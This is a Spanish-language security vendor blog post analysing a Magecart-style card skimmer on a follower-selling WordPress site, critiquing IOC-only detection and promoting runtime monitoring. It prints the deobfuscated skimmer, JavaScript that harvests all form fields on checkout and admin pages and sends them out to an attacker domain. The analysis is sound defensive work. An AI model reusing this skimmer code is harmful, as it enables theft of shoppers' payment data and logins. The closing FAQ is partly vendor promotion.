Recientemente identificamos un ataque de skimming estilo Magecart que seguía activo en el sitio WordPress intertwitter[.]com, una plataforma sospechosa que ofrece paquetes de seguidores para Twitter (X). Aunque esto ya es cuestionable de por sí (comprar seguidores en X va en contra de los TOS), lo más preocupante es la reutilización de infraestructura antigua y el tiempo que este ataque ha permanecido sin detectarse.
Reportado originalmente: Sansec, febrero de 2024
Sansec confirma que la infraestructura maliciosa suele permanecer activa durante períodos prolongados, a veces incluso dos años. Por lo tanto, confiar en que la policía de Internet elimine los servidores fraudulentos no es una estrategia de defensa fiable.
Willem de Groot -Sansec
El problema de la detección basada únicamente en IOCs
La mayoría de los programas de seguridad actuales siguen dependiendo en gran medida de los Indicadores de Compromiso (IOCs). Esto incluye dominios maliciosos conocidos, IPs y hashes como primera (y a menudo única) línea de defensa. Aunque son útiles, este enfoque no logra detectar amenazas que evolucionan lentamente, reutilizan infraestructura u operan en contextos reducidos y de alto valor, como el skimming web del lado del cliente.
En este caso:
- El dominio malicioso safecontentdelivery[.]com fue marcado hace más de un año.
- El mismo IOC se reutilizó en múltiples campañas de skimming.
- A pesar de ser público durante meses, sigue activo, lo que sugiere que no existe aplicación automatizada ni detección generalizada.
El hecho de que un IOC sea conocido no significa que esté siendo bloqueado.
Los atacantes cuentan con esto. Reciclan infraestructura, se esconden en sitios web poco populares o de dudosa reputación, y esperan pacientemente hasta que la ventana de detección se cierre. Al fin y al cabo, ¿para qué reinventar la rueda?
Hemos visto este dominio aparecer en múltiples campañas de Magecart durante el último año. Su longevidad demuestra que las defensas basadas en listas son fáciles de sobrevivir.
Cómo los ataques del lado del cliente se ocultan a plena vista
Los ataques del lado del cliente son notoriamente difíciles de detectar. No porque su payload sea sofisticado, sino porque existen fuera del perímetro de visibilidad de las herramientas de seguridad tradicionales.
Por qué ocurre esto:
- No requieren comprometer el servidor: Un único script inyectado (a través de un plugin, una biblioteca de terceros o un XSS almacenado) es suficiente.
- Se ejecutan solo en el navegador de la víctima: Los registros del servidor, los WAFs y los sistemas de backend nunca ven el comportamiento malicioso.
- Ofuscación y evasión: Estos scripts utilizan técnicas como la detección de DevTools, funciones del navegador sobreescritas y exfiltración que evade CORS para esquivar el análisis.
- Lógica de activación sigilosa: El script solo se activa en rutas de checkout o de administración, reduciendo la exposición y evitando llamar la atención.
Lógica del ataque
- Condición de activación: Se activa únicamente en URLs que contienen /checkout o /admin.
- Objetivos: Todos los campos de formulario
<input>,<select>,<textarea>. - Exfiltración mediante:
new Image().srcpara eludir CORS. - Destino: hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php.
- Anti-análisis: Ofuscación, manipulación de JSON y detección de inspección del navegador.
Payload desofuscado:
if (/checkout|admin/i.test(location.href)) {
const fields = document.querySelectorAll("input, select, textarea");
const data = {};
fields.forEach(field => {
const name = field.name || field.id;
const value = field.tagName === "SELECT"
? field.options[field.selectedIndex].text
: field.value;
if (name && value) data[name] = value;
});
const exfilUrl = `hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php?rnd=${Math.random() * 1e7}&data=${btoa(JSON.stringify(data))}&loc=${btoa(location.href)}`;
new Image().src = exfilUrl;
}Cómo proteger tu negocio
Depender únicamente de los IOCs es una estrategia reactiva. Para defenderse de las amenazas modernas, especialmente en el lado del cliente, necesitas:
- Análisis de comportamiento: Detectar patrones como el raspado de credenciales y formularios, la inyección de scripts sospechosos y los cambios dinámicos en el DOM.
- Monitorización de JavaScript en tiempo de ejecución: Utilizar herramientas que analicen cómo se comportan los scripts en tiempo real en el navegador.
- Higiene de la cadena de suministro: Minimizar las dependencias de terceros y utilizar integridad de subrecursos (SRI) siempre que sea posible.
- Políticas de Seguridad de Contenido (CSP): Restringir qué scripts pueden ejecutarse y a dónde pueden enviar datos.
- Escaneo periódico basado en el navegador: Utilizar herramientas como urlscan.io, scripts de Chrome sin interfaz gráfica o monitores comerciales de amenazas web para analizar lo que los usuarios realmente experimentan.
Para todo lo anterior, puedes contar con cside.
P: ¿Qué son los Indicadores de Compromiso (IOCs) y por qué no son suficientes para la ciberseguridad?
Los IOCs son evidencias que pueden encontrarse en registros del sistema, tráfico de red u otras fuentes de datos. Indican una posible brecha de seguridad, como tráfico de red inusual, actividad sospechosa de archivos o intentos de acceso no autorizado. El problema con los IOCs es que son reactivos, y los atacantes modernos cambian de tácticas con frecuencia, lo que hace que los IOCs anteriores sean menos eficaces frente a nuevas amenazas emergentes. Mediante un análisis en profundidad del payload, cside puede prevenir estos nuevos ataques sin depender de fuentes de amenazas estáticas.
P: ¿Cómo se ocultan los ataques del lado del cliente ante las herramientas de seguridad tradicionales?
Los ataques del lado del cliente ocurren en el navegador web del usuario, donde puede ejecutarse JavaScript malicioso. A diferencia de las herramientas de seguridad tradicionales, como los Firewalls de Aplicaciones Web (WAF), las pruebas de seguridad de aplicaciones estáticas (SAST) y otras herramientas de escaneo que se centran en los perímetros de red y la infraestructura del lado del servidor, estos ataques explotan vulnerabilidades en JavaScript de terceros sin interactuar con tu backend ni con la comunicación del servidor. Como resultado, pueden eludir las defensas durante la interacción final y más crítica entre tu código y el dispositivo del usuario.
P: ¿Qué es un ataque de skimming Magecart y cómo funciona?
Los ataques Magecart tienen como objetivo sitios de comercio electrónico basados en Magento, inyectando JavaScript malicioso para capturar información de tarjetas de crédito durante el proceso de pago. Visa informa que el 70% del robo de tarjetas de crédito ocurre actualmente a través de métodos del lado del cliente, como Magecart y el eskimming. Cuando los clientes introducen sus datos de pago, el código malicioso se ejecuta, aunque bajo ciertas condiciones, y captura esa información. Para el cliente, la transacción parece normal, sin que sea consciente de que sus datos han sido comprometidos.
P: ¿Cómo evitan los atacantes ser detectados cuando usan scripts del lado del cliente?
El JavaScript de terceros puede estar muy ofuscado, lo que dificulta su lectura. A menudo utilizan dominios de apariencia legítima que imitan el comportamiento habitual de un sitio web. Con frecuencia activan código malicioso que se detona bajo condiciones específicas u ocultan su payload dentro de servicios publicitarios legítimos, lo que les permite capturar información de formularios de registro o durante los procesos de pago. Dado que JavaScript es altamente dinámico y no necesita interactuar con tu servidor, puede permanecer fuera del alcance de las herramientas de seguridad tradicionales. Solo si puedes ver el payload completo puedes detener un ataque del lado del cliente, algo que únicamente un proxy completo puede hacer.
P: ¿Cómo puede la Política de Seguridad de Contenido (CSP) ayudar a prevenir los ataques del lado del cliente?
La implementación de una política de seguridad de contenido actúa como una lista de permitidos para los scripts de tu sitio web, analizando únicamente las direcciones de dichos scripts. Cuando se implementa, el navegador bloquea todo lo que no cumpla esos criterios. Sin embargo, la CSP no puede ver el payload ni prevenir ataques dinámicos que se detonan bajo condiciones específicas relacionadas con la geolocalización, el tiempo o el dispositivo. Solo si puedes ver el payload completo puedes detener un ataque del lado del cliente, algo que únicamente un proxy completo puede hacer.
